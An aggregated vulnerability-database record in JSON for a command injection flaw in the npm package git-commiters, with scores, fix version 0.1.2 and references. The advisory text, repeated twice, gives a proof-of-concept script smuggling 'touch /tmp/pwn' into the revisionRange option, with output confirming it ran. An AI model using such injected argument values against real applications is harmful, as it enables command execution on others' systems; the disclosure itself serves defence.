{"id":"CVE-2025-59831","aliases":["EUVD-2025-30824","GHSA-g38c-wxjf-xrh6"],"status":"published","title":"`git-comiters` Command Injection vulnerability","description":"git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.04171,"percentile":0.9098,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-77","CWE-78"],"published":"2025-09-22T18:01:37Z","modified":"2026-11-11T10:30:43Z","fixes":[{"ecosystem":"npm","package":"git-commiters","fixed_in":["0.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"git-commiters","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.2"}]}]},{"source":"osv","ecosystem":"npm","package":"git-commiters","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.2"}]}]}],"products":[{"vendor":"riceball","product":"git-commiters"},{"vendor":"snowyu","product":"git-commiters.js"}],"references":[{"url":"https://github.com/snowyu/git-commiters.js/security/advisories/GHSA-g38c-wxjf-xrh6","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/snowyu/git-commiters.js/commit/7f0abfedbf506e3a61ac875d91324a8dbe756e84","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59831","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g38c-wxjf-xrh6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/59xxx/CVE-2025-59831.json","tags":["advisory"]},{"url":"https://github.com/snowyu/git-commiters.js","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-59831","title":"`git-comiters` Command Injection vulnerability","description":"git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.","status":"published","published":"2025-09-25T13:34:02.449Z","modified":"2025-09-25T14:43:16.185Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-02T14:32:47.812946Z"}],"euvd":[{"id":"EUVD-2025-30824","description":"git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.","status":"published","published":"2025-09-25T13:34:02Z","modified":"2025-09-25T14:43:16Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T20:31:40.063213Z"}],"ghsa":[{"id":"GHSA-g38c-wxjf-xrh6","title":"`git-comiters` Command Injection vulnerability","description":"## Background on the vulnerability\n\nThis vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)`\nwhich allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`.\n\nHowever, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.\n\n## Exploit\n\n1. Install `git-commiters@0.1.1` or earlier\n2. Initiaizlie a new Git directory with commits in it\n3. Create the following script in that directory:\n\n```js\nvar gitCommiters = require(\"git-commiters\");\n\nvar options = {\n  cwd: \"./\",\n  revisionRange: \"HEAD; touch /tmp/pwn; #\",\n};\ngitCommiters(options, function (err, result) {\n  if (err) console.log(err);\n  else console.log(result);\n});\n```\n\n3. Observe new file created on disk at `/tmp/pwn`\n\nThe git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.\n\n```sh\n@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js\n[\n  {\n    email: 'github@qslw.com',\n    name: 'Morton Fox',\n    deletions: 1,\n    insertions: 1,\n    commits: 1\n  },\n  {\n    email: 'snowyu.lee@gmail.com',\n    name: 'Riceball LEE',\n    deletions: 11,\n    insertions: 1198,\n    commits: 7\n  }\n]\n\n@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn\n-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn\n```\n\n# Credit\n\nLiran Tal","status":"published","published":"2025-09-22T18:01:37Z","modified":"2025-10-16T20:41:53Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-02T14:39:01.677422Z"}],"nvd":[{"id":"CVE-2025-59831","description":"git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.","status":"published","published":"2025-09-25T14:15:46.147Z","modified":"2026-10-11T20:10:00.2Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-02T14:11:32.559087Z"}],"osv":[{"id":"CVE-2025-59831","title":"`git-comiters` Command Injection vulnerability","description":"git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.","status":"published","published":"2025-09-25T13:34:02.449Z","modified":"2026-11-11T10:30:43.473263894Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-11T11:06:35.471389Z"},{"id":"GHSA-g38c-wxjf-xrh6","title":"`git-comiters` Command Injection vulnerability","description":"## Background on the vulnerability\n\nThis vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)`\nwhich allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`.\n\nHowever, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.\n\n## Exploit\n\n1. Install `git-commiters@0.1.1` or earlier\n2. Initiaizlie a new Git directory with commits in it\n3. Create the following script in that directory:\n\n```js\nvar gitCommiters = require(\"git-commiters\");\n\nvar options = {\n  cwd: \"./\",\n  revisionRange: \"HEAD; touch /tmp/pwn; #\",\n};\ngitCommiters(options, function (err, result) {\n  if (err) console.log(err);\n  else console.log(result);\n});\n```\n\n3. Observe new file created on disk at `/tmp/pwn`\n\nThe git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.\n\n```sh\n@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js\n[\n  {\n    email: 'github@qslw.com',\n    name: 'Morton Fox',\n    deletions: 1,\n    insertions: 1,\n    commits: 1\n  },\n  {\n    email: 'snowyu.lee@gmail.com',\n    name: 'Riceball LEE',\n    deletions: 11,\n    insertions: 1198,\n    commits: 7\n  }\n]\n\n@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn\n-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn\n```\n\n# Credit\n\nLiran Tal","status":"published","published":"2025-09-22T18:01:37Z","modified":"2025-10-16T20:41:52Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-02T15:46:47.119724Z"}]}}